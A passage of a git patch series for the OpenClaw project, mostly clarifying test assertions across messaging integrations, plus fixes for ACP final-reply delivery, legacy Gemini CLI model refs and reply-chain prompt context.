text is filtered by channels without a visibility override", async () => { + it("delivers default ACP text as final for channels without a visibility override", async () => { setReadyAcpResolution(); ttsMocks.resolveTtsConfig.mockReturnValue({ mode: "final" }); queueTtsReplies({ text: "CODEX_OK" }, {} as ReturnType); @@ -1385,9 +1395,8 @@ describe("tryDispatchAcpReply", () => { expect(result?.counts.final).toBe(0); expect(counts.block).toBe(0); expect(counts.final).toBe(0); - expect(dispatcher.sendBlockReply).toHaveBeenCalledWith( - expect.objectContaining({ text: "CODEX_OK" }), - ); + expect(result?.queuedFinal).toBe(true); + expect(dispatcher.sendBlockReply).not.toHaveBeenCalled(); expect(dispatcher.sendFinalReply).toHaveBeenCalledWith( expect.objectContaining({ text: "CODEX_OK" }), ); @@ -1450,6 +1459,12 @@ describe("tryDispatchAcpReply", () => { it("honors the configured default account for ACP projector chunking when AccountId is omitted", async () => { setReadyAcpResolution(); const cfg = createAcpTestConfig({ + acp: { + enabled: true, + stream: { + deliveryMode: "live", + }, + }, channels: { discord: { defaultAccount: "work", @@ -1489,7 +1504,7 @@ describe("tryDispatchAcpReply", () => { ); }); - it("does not add a second routed payload when routed block text was already visible", async () => { + it("does not add a second routed payload when routed final text was already visible", async () => { setReadyAcpResolution(); ttsMocks.resolveTtsConfig.mockReturnValue({ mode: "final" }); queueTtsReplies({ text: "Task completed" }, { @@ -1498,21 +1513,21 @@ describe("tryDispatchAcpReply", () => { } as MockTtsReply); const { result } = await runRoutedAcpTextTurn("Task completed"); - expect(result?.counts.block).toBe(1); - expect(result?.counts.final).toBe(0); + expect(result?.counts.block).toBe(0); + expect(result?.counts.final).toBe(1); expect(routeMocks.routeReply).toHaveBeenCalledTimes(1); expectRoutedPayload(1, { text: "Task completed", }); }); - it("skips fallback when TTS mode is all (blocks already processed with TTS)", async () => { + it("skips fallback when TTS mode is all and final delivery already succeeded", async () => { setReadyAcpResolution(); ttsMocks.resolveTtsConfig.mockReturnValue({ mode: "all" }); const { result } = await runRoutedAcpTextTurn("Response"); - expect(result?.counts.block).toBe(1); - expect(result?.counts.final).toBe(0); + expect(result?.counts.block).toBe(0); + expect(result?.counts.final).toBe(1); expect(routeMocks.routeReply).toHaveBeenCalledTimes(1); }); diff --git a/src/auto-reply/reply/dispatch-acp.ts b/src/auto-reply/reply/dispatch-acp.ts index 66642503af9..1b1f22b435a 100644 --- a/src/auto-reply/reply/dispatch-acp.ts +++ b/src/auto-reply/reply/dispatch-acp.ts @@ -519,7 +519,7 @@ export async function tryDispatchAcpReply(params: { cfg: params.cfg, sessionKey: canonicalSessionKey, promptText, - finalText: delivery.getAccumulatedBlockText(), + finalText: delivery.getAccumulatedFinalText() || delivery.getAccumulatedBlockText(), meta: acpResolution.meta, threadId: params.ctx.MessageThreadId, }); From 074dbc3beecb18d955d19a0575b19abb8c18ec80 Mon Sep 17 00:00:00 2001 From: Shakker Date: Fri, 8 May 2026 06:23:16 +0100 Subject: [PATCH 086/174] docs: note durable acp telegram replies --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 20b19bbea04..4f927ba5896 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -197,6 +197,7 @@ Docs: https://docs.openclaw.ai - Doctor/gateway: avoid duplicate Node runtime warnings when the daemon install plan already selected a supported Node runtime. - Gateway/nodes: ignore malformed non-string capability entries from live nodes instead of throwing while listing the node catalog. - Gateway/pairing: preserve deliberately narrowed role-token scopes when approving device scope upgrades instead of regranting the whole approved baseline. +- Telegram/ACP: keep chat-bound ACP replies durable by delivering final-only ACP output as final text instead of transient Telegram preview blocks. Thanks @shakkernerd. - Gateway/watch: leave `OPENCLAW_TRACE_SYNC_IO` disabled by default in `pnpm gateway:watch:raw` so watch mode avoids noisy Node sync-I/O stack traces unless explicitly requested. - Codex app-server: close stdio stdin before force-killing the managed app-server, matching Codex single-client shutdown behavior and avoiding unsettled CLI exits after successful runs. - CLI/Codex: dispose registered agent harnesses during short-lived CLI shutdown so successful Codex-backed `agent --local` runs do not leave app-server child processes alive. From 5bdec9112b8fb21e227c99dad581be161658861b Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:15:43 +0100 Subject: [PATCH 087/174] test: clarify telegram reserved command assertion --- extensions/telegram/src/bot.command-menu.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/extensions/telegram/src/bot.command-menu.test.ts b/extensions/telegram/src/bot.command-menu.test.ts index 842eee5d3db..926e425972c 100644 --- a/extensions/telegram/src/bot.command-menu.test.ts +++ b/extensions/telegram/src/bot.command-menu.test.ts @@ -211,6 +211,6 @@ describe("createTelegramBot command menu", () => { { command: "custom_generate", description: "Create an image" }, ]); const reserved = new Set(listNativeCommandSpecs().map((command) => command.name)); - expect(registered.some((command) => reserved.has(command.command))).toBe(false); + expect(registered.filter((command) => reserved.has(command.command))).toEqual([]); }); }); From 3e53b192842e9801830ed607b9a89454d47e398d Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:17:08 +0100 Subject: [PATCH 088/174] test: clarify browser client endpoint assertions --- extensions/browser/src/browser/client.test.ts | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/extensions/browser/src/browser/client.test.ts b/extensions/browser/src/browser/client.test.ts index 5aa3eb78aba..67a3aaa0c39 100644 --- a/extensions/browser/src/browser/client.test.ts +++ b/extensions/browser/src/browser/client.test.ts @@ -316,9 +316,13 @@ describe("browser client", () => { browserScreenshotAction("http://127.0.0.1:18791", { targetId: "t-default" }), ).resolves.toMatchObject({ ok: true, path: "/tmp/a.png" }); - expect(calls.some((c) => c.url.endsWith("/tabs"))).toBe(true); - expect(calls.some((c) => c.url.endsWith("/doctor"))).toBe(true); - expect(calls.some((c) => c.url.endsWith("/doctor?profile=openclaw&deep=true"))).toBe(true); + expect(calls.map((call) => call.url)).toEqual( + expect.arrayContaining([ + expect.stringMatching(/\/tabs$/), + expect.stringMatching(/\/doctor$/), + expect.stringMatching(/\/doctor\?profile=openclaw&deep=true$/), + ]), + ); const open = calls.find((c) => c.url.endsWith("/tabs/open")); expect(open?.init?.method).toBe("POST"); From c1c3e79a9d67bb28275096b5c812a94a9f025e20 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:18:18 +0100 Subject: [PATCH 089/174] test: clarify control ui performance event assertion --- ui/src/ui/control-ui-performance.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ui/src/ui/control-ui-performance.test.ts b/ui/src/ui/control-ui-performance.test.ts index 1c8cc7df4ce..52b9ab6e799 100644 --- a/ui/src/ui/control-ui-performance.test.ts +++ b/ui/src/ui/control-ui-performance.test.ts @@ -223,7 +223,7 @@ describe("startControlUiResponsivenessObserver", () => { expect( host.eventLogBuffer.filter((entry) => entry.event === "control-ui.longtask"), ).toHaveLength(50); - expect(host.eventLogBuffer.some((entry) => entry.event === "gateway.event")).toBe(true); + expect(host.eventLogBuffer.map((entry) => entry.event)).toContain("gateway.event"); }); it("returns null when responsiveness entries are unsupported or observe fails", () => { From 8ced077f628c01ca303ace99d492fab2764ee6d7 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:20:26 +0100 Subject: [PATCH 090/174] test: clarify slack chunk length assertions --- extensions/slack/src/format.test.ts | 6 +++++- extensions/slack/src/send.blocks.test.ts | 6 +++++- 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/extensions/slack/src/format.test.ts b/extensions/slack/src/format.test.ts index 8254ec94cdc..7d0b3c392b4 100644 --- a/extensions/slack/src/format.test.ts +++ b/extensions/slack/src/format.test.ts @@ -70,7 +70,11 @@ describe("markdownToSlackMrkdwn", () => { const chunks = markdownToSlackMrkdwnChunks("alpha <<", 8); expect(chunks).toEqual(["alpha ", "<<"]); - expect(chunks.every((chunk) => chunk.length <= 8)).toBe(true); + expect( + chunks + .map((chunk, index) => ({ index, length: chunk.length })) + .filter((chunk) => chunk.length > 8), + ).toEqual([]); }); }); diff --git a/extensions/slack/src/send.blocks.test.ts b/extensions/slack/src/send.blocks.test.ts index 2191027ed7d..e5acce29310 100644 --- a/extensions/slack/src/send.blocks.test.ts +++ b/extensions/slack/src/send.blocks.test.ts @@ -148,7 +148,11 @@ describe("sendMessageSlack chunking", () => { const postedTexts = client.chat.postMessage.mock.calls.map((call) => call[0].text); expect(postedTexts).toHaveLength(2); - expect(postedTexts.every((text) => typeof text === "string" && text.length <= 8000)).toBe(true); + expect( + postedTexts + .map((text, index) => ({ index, length: typeof text === "string" ? text.length : null })) + .filter((text) => text.length === null || text.length > 8000), + ).toEqual([]); expect(postedTexts.join("")).toBe(message); }); }); From 6a20bbd166677688f94f6ffd90f1fc488e53f0b9 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:21:47 +0100 Subject: [PATCH 091/174] test: clarify provider thinking level assertions --- extensions/anthropic/provider-policy-api.test.ts | 4 +++- extensions/opencode/provider-policy-api.test.ts | 4 +++- extensions/vercel-ai-gateway/thinking.test.ts | 4 +++- 3 files changed, 9 insertions(+), 3 deletions(-) diff --git a/extensions/anthropic/provider-policy-api.test.ts b/extensions/anthropic/provider-policy-api.test.ts index d1cd3a835d1..49e6fd8ec79 100644 --- a/extensions/anthropic/provider-policy-api.test.ts +++ b/extensions/anthropic/provider-policy-api.test.ts @@ -117,7 +117,9 @@ describe("anthropic provider policy public artifact", () => { if (!profile) { throw new Error("Expected Anthropic policy profile"); } - expect(profile.levels.some((level) => level.id === "xhigh" || level.id === "max")).toBe(false); + expect( + profile.levels.map((level) => level.id).filter((id) => id === "xhigh" || id === "max"), + ).toEqual([]); }); it("does not expose Anthropic thinking profiles for unrelated providers", () => { diff --git a/extensions/opencode/provider-policy-api.test.ts b/extensions/opencode/provider-policy-api.test.ts index a89e0a9b4e7..4877c1a70d2 100644 --- a/extensions/opencode/provider-policy-api.test.ts +++ b/extensions/opencode/provider-policy-api.test.ts @@ -24,6 +24,8 @@ describe("opencode provider policy public artifact", () => { levels: expect.arrayContaining([{ id: "adaptive" }]), defaultLevel: "adaptive", }); - expect(profile.levels.some((level) => level.id === "xhigh" || level.id === "max")).toBe(false); + expect( + profile.levels.map((level) => level.id).filter((id) => id === "xhigh" || id === "max"), + ).toEqual([]); }); }); diff --git a/extensions/vercel-ai-gateway/thinking.test.ts b/extensions/vercel-ai-gateway/thinking.test.ts index 29a6ec5a9a5..58a3d60cb88 100644 --- a/extensions/vercel-ai-gateway/thinking.test.ts +++ b/extensions/vercel-ai-gateway/thinking.test.ts @@ -49,7 +49,9 @@ describe("vercel ai gateway thinking profile", () => { levels: expect.arrayContaining([{ id: "adaptive" }]), defaultLevel: "adaptive", }); - expect(profile?.levels.some((level) => level.id === "xhigh" || level.id === "max")).toBe(false); + expect( + profile?.levels.map((level) => level.id).filter((id) => id === "xhigh" || id === "max"), + ).toEqual([]); }); it("falls through for unsupported OpenAI or untrusted namespaced refs", async () => { From d22dccdf93fdecd5e8f7bba8544614a0c2352cdb Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:23:02 +0100 Subject: [PATCH 092/174] test: clarify channel config schema issue assertions --- extensions/feishu/src/config-schema.test.ts | 2 +- extensions/slack/src/config-schema.test.ts | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/extensions/feishu/src/config-schema.test.ts b/extensions/feishu/src/config-schema.test.ts index d234ab0bf19..9477925f561 100644 --- a/extensions/feishu/src/config-schema.test.ts +++ b/extensions/feishu/src/config-schema.test.ts @@ -7,7 +7,7 @@ function expectSchemaIssue( ) { expect(result.success).toBe(false); if (!result.success) { - expect(result.error.issues.some((issue) => issue.path.join(".") === issuePath)).toBe(true); + expect(result.error.issues.map((issue) => issue.path.join("."))).toContain(issuePath); } } diff --git a/extensions/slack/src/config-schema.test.ts b/extensions/slack/src/config-schema.test.ts index a18e4693ee0..5f35eacd5c8 100644 --- a/extensions/slack/src/config-schema.test.ts +++ b/extensions/slack/src/config-schema.test.ts @@ -10,7 +10,7 @@ function expectSlackConfigIssue(config: unknown, path: string) { const res = SlackConfigSchema.safeParse(config); expect(res.success).toBe(false); if (!res.success) { - expect(res.error.issues.some((issue) => issue.path.join(".").includes(path))).toBe(true); + expect(res.error.issues.map((issue) => issue.path.join("."))).toContain(path); } } From 7468e071ddc38abf648b9da410c1761d2230ea96 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:24:17 +0100 Subject: [PATCH 093/174] test: clarify dreaming diary label assertion --- ui/src/ui/views/dreaming.test.ts | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/ui/src/ui/views/dreaming.test.ts b/ui/src/ui/views/dreaming.test.ts index 6a2cd2cbfd5..07c5c446ba3 100644 --- a/ui/src/ui/views/dreaming.test.ts +++ b/ui/src/ui/views/dreaming.test.ts @@ -487,7 +487,9 @@ describe("dreaming view", () => { const labels = [...container.querySelectorAll(".dreams-diary__day-chip")].map((node) => node.textContent?.replace(/\s+/g, "").trim(), ); - expect(labels.filter(Boolean).some((label) => /^\d+\/\d+$/.test(label ?? ""))).toBe(true); + expect(labels.filter((label): label is string => Boolean(label))).toEqual( + expect.arrayContaining([expect.stringMatching(/^\d+\/\d+$/)]), + ); setDreamSubTab("scene"); }); From f45b65c9c35f549636b85fb44149d1025e83fc9a Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:26:21 +0100 Subject: [PATCH 094/174] test: clarify matrix idb database assertion --- extensions/matrix/src/matrix/sdk/idb-persistence.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/extensions/matrix/src/matrix/sdk/idb-persistence.test.ts b/extensions/matrix/src/matrix/sdk/idb-persistence.test.ts index baa5739d464..096addda4eb 100644 --- a/extensions/matrix/src/matrix/sdk/idb-persistence.test.ts +++ b/extensions/matrix/src/matrix/sdk/idb-persistence.test.ts @@ -79,7 +79,7 @@ describe("Matrix IndexedDB persistence", () => { expect(restoredRecords).toEqual([{ key: "room-1", value: { session: "abc123" } }]); const dbs = await indexedDB.databases(); - expect(dbs.some((entry) => entry.name === otherCryptoDatabaseName)).toBe(false); + expect(dbs.map((entry) => entry.name)).not.toContain(otherCryptoDatabaseName); }); it("returns false and logs a warning for malformed snapshots", async () => { From d8d441cd496e89fdeaef0de09f18b445e13c7386 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:28:04 +0100 Subject: [PATCH 095/174] test: clarify synology security warning assertions --- extensions/synology-chat/src/channel.test.ts | 34 +++++++++++++------- 1 file changed, 22 insertions(+), 12 deletions(-) diff --git a/extensions/synology-chat/src/channel.test.ts b/extensions/synology-chat/src/channel.test.ts index 909e3e40187..c40969d5707 100644 --- a/extensions/synology-chat/src/channel.test.ts +++ b/extensions/synology-chat/src/channel.test.ts @@ -256,21 +256,23 @@ describe("createSynologyChatPlugin", () => { const plugin = createSynologyChatPlugin(); const account = makeSecurityAccount({ token: "" }); const warnings = plugin.security.collectWarnings({ cfg: {}, account }); - expect(warnings.some((w: string) => w.includes("token"))).toBe(true); + expect(warnings).toEqual(expect.arrayContaining([expect.stringContaining("token")])); }); it("warns when allowInsecureSsl is true", () => { const plugin = createSynologyChatPlugin(); const account = makeSecurityAccount({ allowInsecureSsl: true }); const warnings = plugin.security.collectWarnings({ cfg: {}, account }); - expect(warnings.some((w: string) => w.includes("SSL"))).toBe(true); + expect(warnings).toEqual(expect.arrayContaining([expect.stringContaining("SSL")])); }); it("warns when dangerous name matching is enabled", () => { const plugin = createSynologyChatPlugin(); const account = makeSecurityAccount({ dangerouslyAllowNameMatching: true }); const warnings = plugin.security.collectWarnings({ cfg: {}, account }); - expect(warnings.some((w: string) => w.includes("dangerouslyAllowNameMatching"))).toBe(true); + expect(warnings).toEqual( + expect.arrayContaining([expect.stringContaining("dangerouslyAllowNameMatching")]), + ); }); it("warns when inherited shared webhookPath is dangerously re-enabled", () => { @@ -281,30 +283,36 @@ describe("createSynologyChatPlugin", () => { dangerouslyAllowInheritedWebhookPath: true, }); const warnings = plugin.security.collectWarnings({ cfg: {}, account }); - expect( - warnings.some((w: string) => w.includes("dangerouslyAllowInheritedWebhookPath=true")), - ).toBe(true); + expect(warnings).toEqual( + expect.arrayContaining([ + expect.stringContaining("dangerouslyAllowInheritedWebhookPath=true"), + ]), + ); }); it("warns when dmPolicy is open", () => { const plugin = createSynologyChatPlugin(); const account = makeSecurityAccount({ dmPolicy: "open", allowedUserIds: ["*"] }); const warnings = plugin.security.collectWarnings({ cfg: {}, account }); - expect(warnings.some((w: string) => w.includes("open"))).toBe(true); + expect(warnings).toEqual(expect.arrayContaining([expect.stringContaining("open")])); }); it("warns when dmPolicy is open and allowedUserIds is empty", () => { const plugin = createSynologyChatPlugin(); const account = makeSecurityAccount({ dmPolicy: "open", allowedUserIds: [] }); const warnings = plugin.security.collectWarnings({ cfg: {}, account }); - expect(warnings.some((w: string) => w.includes("empty allowedUserIds"))).toBe(true); + expect(warnings).toEqual( + expect.arrayContaining([expect.stringContaining("empty allowedUserIds")]), + ); }); it("warns when dmPolicy is allowlist and allowedUserIds is empty", () => { const plugin = createSynologyChatPlugin(); const account = makeSecurityAccount(); const warnings = plugin.security.collectWarnings({ cfg: {}, account }); - expect(warnings.some((w: string) => w.includes("empty allowedUserIds"))).toBe(true); + expect(warnings).toEqual( + expect.arrayContaining([expect.stringContaining("empty allowedUserIds")]), + ); }); it("warns when named multi-account routes inherit a shared webhookPath", () => { @@ -312,8 +320,8 @@ describe("createSynologyChatPlugin", () => { const cfg = makeSharedWebhookConfig(); const account = plugin.config.resolveAccount(cfg, "alerts"); const warnings = plugin.security.collectWarnings({ cfg, account }); - expect(warnings.some((w: string) => w.includes("must set an explicit webhookPath"))).toBe( - true, + expect(warnings).toEqual( + expect.arrayContaining([expect.stringContaining("must set an explicit webhookPath")]), ); }); @@ -334,7 +342,9 @@ describe("createSynologyChatPlugin", () => { }; const account = plugin.config.resolveAccount(cfg, "alerts"); const warnings = plugin.security.collectWarnings({ cfg, account }); - expect(warnings.some((w: string) => w.includes("conflicts on webhookPath"))).toBe(true); + expect(warnings).toEqual( + expect.arrayContaining([expect.stringContaining("conflicts on webhookPath")]), + ); }); it("returns no warnings for fully configured account", () => { From f4f0d8569c96f46836fcb9edb4964389034b898a Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:36:21 +0100 Subject: [PATCH 096/174] fix: normalize legacy gemini cli model refs --- src/agents/model-runtime-aliases.ts | 4 +++- src/agents/model-selection.test.ts | 11 +++++++++++ src/commands/doctor-legacy-config.migrations.test.ts | 6 +++--- 3 files changed, 17 insertions(+), 4 deletions(-) diff --git a/src/agents/model-runtime-aliases.ts b/src/agents/model-runtime-aliases.ts index 3fc8491c9df..6265dc2af22 100644 --- a/src/agents/model-runtime-aliases.ts +++ b/src/agents/model-runtime-aliases.ts @@ -1,4 +1,5 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; +import { normalizeStaticProviderModelId } from "./model-ref-shared.js"; import { resolveModelRuntimePolicy } from "./model-runtime-policy.js"; import { normalizeProviderId } from "./provider-id.js"; @@ -72,7 +73,8 @@ export function migrateLegacyRuntimeModelRef(raw: string): { if (!alias) { return null; } - const model = trimmed.slice(slash + 1).trim(); + const rawModel = trimmed.slice(slash + 1).trim(); + const model = normalizeStaticProviderModelId(alias.provider, rawModel); if (!model) { return null; } diff --git a/src/agents/model-selection.test.ts b/src/agents/model-selection.test.ts index 8d71de4de09..62a9c15b75d 100644 --- a/src/agents/model-selection.test.ts +++ b/src/agents/model-selection.test.ts @@ -429,6 +429,17 @@ describe("model-selection", () => { }); }); + it("normalizes retired Gemini ids while migrating legacy Gemini CLI refs", () => { + expect(migrateLegacyRuntimeModelRef("google-gemini-cli/gemini-3-pro-preview")).toEqual({ + ref: "google/gemini-3.1-pro-preview", + legacyProvider: "google-gemini-cli", + provider: "google", + model: "gemini-3.1-pro-preview", + runtime: "google-gemini-cli", + cli: true, + }); + }); + it("round-trips normalized refs through modelKey", () => { const parsed = parseModelRef(" opus-4.6 ", "anthropic", { allowPluginNormalization: false, diff --git a/src/commands/doctor-legacy-config.migrations.test.ts b/src/commands/doctor-legacy-config.migrations.test.ts index 09972a23e45..047bd488ca3 100644 --- a/src/commands/doctor-legacy-config.migrations.test.ts +++ b/src/commands/doctor-legacy-config.migrations.test.ts @@ -666,11 +666,11 @@ describe("normalizeCompatibilityConfigValues", () => { agents: { defaults: { model: { - primary: "google-gemini-cli/gemini-3.1-pro-preview", + primary: "google-gemini-cli/gemini-3-pro-preview", fallbacks: ["google-gemini-cli/gemini-3-flash-preview"], }, models: { - "google-gemini-cli/gemini-3.1-pro-preview": { alias: "Gemini CLI" }, + "google-gemini-cli/gemini-3-pro-preview": { alias: "Gemini CLI" }, "google/gemini-3.1-pro-preview": { alias: "Gemini API" }, }, }, @@ -683,7 +683,7 @@ describe("normalizeCompatibilityConfigValues", () => { }); expect(res.config.agents?.defaults?.agentRuntime).toBeUndefined(); expect(res.config.agents?.defaults?.models).toEqual({ - "google-gemini-cli/gemini-3.1-pro-preview": { alias: "Gemini CLI" }, + "google-gemini-cli/gemini-3-pro-preview": { alias: "Gemini CLI" }, "google/gemini-3.1-pro-preview": { alias: "Gemini API", agentRuntime: { id: "google-gemini-cli" }, From 1a99690e99902c9c4f2cf5478247bbe1d7eb750d Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:38:19 +0100 Subject: [PATCH 097/174] test: clarify telegram chunk assertions --- .../telegram/src/format.wrap-md.test.ts | 52 ++++++++++++++----- 1 file changed, 38 insertions(+), 14 deletions(-) diff --git a/extensions/telegram/src/format.wrap-md.test.ts b/extensions/telegram/src/format.wrap-md.test.ts index 55de0205185..324c1ccdc22 100644 --- a/extensions/telegram/src/format.wrap-md.test.ts +++ b/extensions/telegram/src/format.wrap-md.test.ts @@ -6,6 +6,32 @@ import { wrapFileReferencesInHtml, } from "./format.js"; +type TelegramChunk = ReturnType[number]; + +function expectHtmlChunkLengthsAtMost(chunks: TelegramChunk[], limit: number) { + expect( + chunks + .map((chunk, index) => ({ index, htmlLength: chunk.html.length, text: chunk.text })) + .filter((chunk) => chunk.htmlLength > limit), + ).toEqual([]); +} + +function expectNonBlankTextChunks(chunks: TelegramChunk[]) { + expect( + chunks + .map((chunk, index) => ({ index, text: chunk.text })) + .filter((chunk) => chunk.text.trim().length === 0), + ).toEqual([]); +} + +function expectHtmlChunksWrappedWith(chunks: TelegramChunk[], prefix: string, suffix: string) { + expect( + chunks + .map((chunk, index) => ({ index, html: chunk.html })) + .filter((chunk) => !chunk.html.startsWith(prefix) || !chunk.html.endsWith(suffix)), + ).toEqual([]); +} + describe("wrapFileReferencesInHtml", () => { it("wraps supported file references and paths", () => { const cases = [ @@ -164,7 +190,7 @@ describe("markdownToTelegramChunks - file reference wrapping", () => { const chunks = markdownToTelegramChunks(input, 512); expect(chunks.length).toBeGreaterThan(1); expect(chunks.map((chunk) => chunk.text).join("")).toBe(input); - expect(chunks.every((chunk) => chunk.html.length <= 512)).toBe(true); + expectHtmlChunkLengthsAtMost(chunks, 512); }); it("preserves whitespace when html-limit retry splitting runs", () => { @@ -172,7 +198,7 @@ describe("markdownToTelegramChunks - file reference wrapping", () => { const chunks = markdownToTelegramChunks(input, 5); expect(chunks.length).toBeGreaterThan(1); expect(chunks.map((chunk) => chunk.text).join("")).toBe(input); - expect(chunks.every((chunk) => chunk.html.length <= 5)).toBe(true); + expectHtmlChunkLengthsAtMost(chunks, 5); }); it("prefers word boundaries when escaped html shrinks the retry window", () => { @@ -180,14 +206,14 @@ describe("markdownToTelegramChunks - file reference wrapping", () => { const chunks = markdownToTelegramChunks(input, 8); expect(chunks.map((chunk) => chunk.text).join("")).toBe(input); expect(chunks[0]?.text).toBe("alpha "); - expect(chunks.every((chunk) => chunk.html.length <= 8)).toBe(true); + expectHtmlChunkLengthsAtMost(chunks, 8); }); it("prefers word boundaries when html-limit retry splits formatted prose", () => { const input = "**Which of these**"; const chunks = markdownToTelegramChunks(input, 16); expect(chunks.map((chunk) => chunk.text)).toEqual(["Which of ", "these"]); - expect(chunks.every((chunk) => chunk.html.length <= 16)).toBe(true); + expectHtmlChunkLengthsAtMost(chunks, 16); }); it("preserves formatting while splitting at word boundaries", () => { @@ -195,10 +221,8 @@ describe("markdownToTelegramChunks - file reference wrapping", () => { const chunks = markdownToTelegramChunks(input, 13); expect(chunks.map((chunk) => chunk.text).join("")).toBe("alpha <<"); expect(chunks[0]?.text).toBe("alpha "); - expect(chunks.every((chunk) => chunk.html.length <= 13)).toBe(true); - expect( - chunks.every((chunk) => chunk.html.startsWith("") && chunk.html.endsWith("")), - ).toBe(true); + expectHtmlChunkLengthsAtMost(chunks, 13); + expectHtmlChunksWrappedWith(chunks, "", ""); }); it("does not rely on monotonic html length for sliced file refs", () => { @@ -207,7 +231,7 @@ describe("markdownToTelegramChunks - file reference wrapping", () => { expect(chunks.map((chunk) => chunk.text).join("")).toBe(input); expect(chunks[0]?.text).toBe("README.md"); expect(chunks[0]?.html).toBe("README.md"); - expect(chunks.every((chunk) => chunk.html.length <= 22)).toBe(true); + expectHtmlChunkLengthsAtMost(chunks, 22); }); it("gracefully returns the original chunk when tag overhead exceeds the limit", () => { @@ -223,29 +247,29 @@ describe("markdownToTelegramChunks - file reference wrapping", () => { const input = "**foo (bar baz qux quux**"; const chunks = markdownToTelegramChunks(input, 20); expect(chunks.map((chunk) => chunk.text)).toEqual(["foo", "(bar baz qux ", "quux"]); - expect(chunks.every((chunk) => chunk.html.length <= 20)).toBe(true); + expectHtmlChunkLengthsAtMost(chunks, 20); }); it("falls back to hard splits when a single word exceeds the limit", () => { const input = "supercalifragilistic"; const chunks = markdownToTelegramChunks(input, 8); expect(chunks.map((chunk) => chunk.text)).toEqual(["supercal", "ifragili", "stic"]); - expect(chunks.every((chunk) => chunk.html.length <= 8)).toBe(true); + expectHtmlChunkLengthsAtMost(chunks, 8); }); it("does not emit whitespace-only chunks during html-limit retry splitting", () => { const input = "**ab <<**"; const chunks = markdownToTelegramChunks(input, 11); expect(chunks.map((chunk) => chunk.text).join("")).toBe("ab <<"); - expect(chunks.every((chunk) => chunk.text.trim().length > 0)).toBe(true); - expect(chunks.every((chunk) => chunk.html.length <= 11)).toBe(true); + expectNonBlankTextChunks(chunks); + expectHtmlChunkLengthsAtMost(chunks, 11); }); it("preserves paragraph separators when retry chunking produces whitespace-only spans", () => { const input = "ab\n\n<<"; const chunks = markdownToTelegramChunks(input, 6); expect(chunks.map((chunk) => chunk.text).join("")).toBe(input); - expect(chunks.every((chunk) => chunk.html.length <= 6)).toBe(true); + expectHtmlChunkLengthsAtMost(chunks, 6); }); }); From c307a61264e8c7ea1b46d26ea4c4b28318699fd0 Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Fri, 8 May 2026 09:56:27 +0530 Subject: [PATCH 098/174] feat(reply): add reply-chain prompt context --- src/agents/pi-embedded-runner/run/params.ts | 18 ++++++++ .../run/runtime-context-prompt.test.ts | 24 +++++++++++ .../run/runtime-context-prompt.ts | 42 +++++++++++++++++++ src/auto-reply/reply/get-reply-run.ts | 12 ++++++ src/auto-reply/templating.ts | 18 ++++++++ 5 files changed, 114 insertions(+) diff --git a/src/agents/pi-embedded-runner/run/params.ts b/src/agents/pi-embedded-runner/run/params.ts index 756d75171b1..2e6b87603d7 100644 --- a/src/agents/pi-embedded-runner/run/params.ts +++ b/src/agents/pi-embedded-runner/run/params.ts @@ -31,6 +31,24 @@ export type CurrentTurnPromptContext = { senderLabel?: string; isQuote?: boolean; }; + replyChain?: Array<{ + messageId?: string; + threadId?: string; + sender?: string; + senderId?: string; + senderUsername?: string; + timestamp?: number; + body?: string; + isQuote?: boolean; + mediaType?: string; + mediaPath?: string; + mediaRef?: string; + replyToId?: string; + forwardedFrom?: string; + forwardedFromId?: string; + forwardedFromUsername?: string; + forwardedDate?: number; + }>; }; export type RunEmbeddedPiAgentParams = { diff --git a/src/agents/pi-embedded-runner/run/runtime-context-prompt.test.ts b/src/agents/pi-embedded-runner/run/runtime-context-prompt.test.ts index 6058d4f59e9..4ba1781a9d2 100644 --- a/src/agents/pi-embedded-runner/run/runtime-context-prompt.test.ts +++ b/src/agents/pi-embedded-runner/run/runtime-context-prompt.test.ts @@ -80,6 +80,30 @@ describe("runtime context prompt submission", () => { expect(suffix).not.toContain("\n```\nASSISTANT"); }); + it("formats reply chains as current-turn untrusted prompt context", () => { + const suffix = buildCurrentTurnPromptContextSuffix({ + replyChain: [ + { + messageId: "34098", + sender: "obviyus", + body: "r u back from hermes", + replyToId: "34090", + }, + { + messageId: "34090", + sender: "Kesava", + mediaType: "image/png", + mediaRef: "telegram:file/photo-1", + }, + ], + }); + + expect(suffix).toContain("Reply chain of current user message"); + expect(suffix).toContain('"message_id": "34098"'); + expect(suffix).toContain('"reply_to_id": "34090"'); + expect(suffix).toContain('"media_ref": "telegram:file/photo-1"'); + }); + it("omits empty explicit reply context", () => { expect(buildCurrentTurnPromptContextSuffix(undefined)).toBe(""); expect(buildCurrentTurnPromptContextSuffix({ reply: { body: " " } })).toBe(""); diff --git a/src/agents/pi-embedded-runner/run/runtime-context-prompt.ts b/src/agents/pi-embedded-runner/run/runtime-context-prompt.ts index ed30f5d3229..764408e540b 100644 --- a/src/agents/pi-embedded-runner/run/runtime-context-prompt.ts +++ b/src/agents/pi-embedded-runner/run/runtime-context-prompt.ts @@ 